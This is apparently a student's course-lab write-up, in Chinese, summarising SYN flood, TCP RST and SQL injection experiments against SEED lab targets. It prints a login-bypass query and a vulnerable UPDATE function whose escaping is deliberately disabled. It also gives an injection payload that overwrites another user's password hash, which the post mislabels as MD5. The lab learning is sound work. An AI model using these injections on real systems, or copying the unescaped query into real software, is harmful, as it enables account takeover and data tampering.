代码改变世界

20169201 2016-2017-2 《网络攻防实践》第11周学习总结

2017-05-10 16:21  melay  阅读(392)  评论(1编辑  收藏  举报

实验一 TCP/IP协议攻击

SYN 泛洪攻击实验

查看靶机和攻击机的ip/mac地址

  • 攻击机Kali:

  • 靶机Linux Metasploitabl

我们先用攻击机连接一下靶机的端口:

可以看到,连接成功。

靶机端口状况如下:

现在对靶机的端口23进行洪泛攻击,此时查看靶机的端口状态:

实验二 TCP RST攻击实验流程

用靶机建立和SEED的23端口的连接,利用telnet命令

打开netwox,调用第78号工具

在wireshark当中也捕捉到了断开连接的数据包

实验三 Collabtive 系统 SQL 注入实验

SQL注入

SQL注入:SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。

SQL注入危害

  • 非法读取、篡改、添加、删除数据库中的数据。
  • 盗取用户的各类敏感信息,获取利益。
  • 通过修改数据库来修改网页上的内容。
  • 私自添加或删除账号。
  • 注入木马。

环境搭建

禁用Collabtive的若干防护措施,创建了一个容易受到SQL注入攻击的Collabtive版本。
测试:http://www.sqllabcollabtive.com

lab1 select语句的sql注入

查看登陆验证文件:

sudo vim /var/www/SQL/Collabtive/include/class.user.php

找到其中第375行,构造一个语句,在不知道密码的情况下登陆;

 $sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");

lab2 update语句的sql注入

有一个在这个SQL语句中的SQL注入漏洞;

sudo vim /var/www/SQL/Collabtive/include/class.user.php

我们可以找到如下的代码

   function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
              $zip, $gender, $url, $address1, $address2, $state,
              $country, $tags, $locale, $avatar = "", $rate = 0.0)
    {
    $name = mysql_real_escape_string($name);
    $realname = mysql_real_escape_string($realname);

    //modified for SQL Lab
    //$company = mysql_real_escape_string($company);
    $email = mysql_real_escape_string($email);

    // further escaped parameters removed for brevity...

    $rate = (float) $rate;
    $id = (int) $id;

    if ($avatar != "")
        {
            $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                tel1='$tel1', tel2='$tel2', company='$company',
                                zip='$zip', gender='$gender', url='$url',
                                adress='$address1', adress2='$address2',
                                state='$state', country='$country',
                                tags='$tags', locale='$locale',
                                avatar='$avatar', rate='$rate' WHERE ID = $id");
        }
    else
        {
            // same query as above minus setting avatar; removed for
            // brevity
        }
    if ($upd)
        {
            $this->mylog->add($name, 'user', 2, 0);
            return true;
        }
    else
        {
            return false;
        }
    }

这样我们就可以越权来修改其他用户的信息及密码;我们使用任意用户,如: bob bob 进行登录;

在编辑用户的位置:user 填 ted 用户;

Company 处填:

', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '

注:这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值;
点击修改,然后我们退出当前用户,使用ted用户登录,密码:pass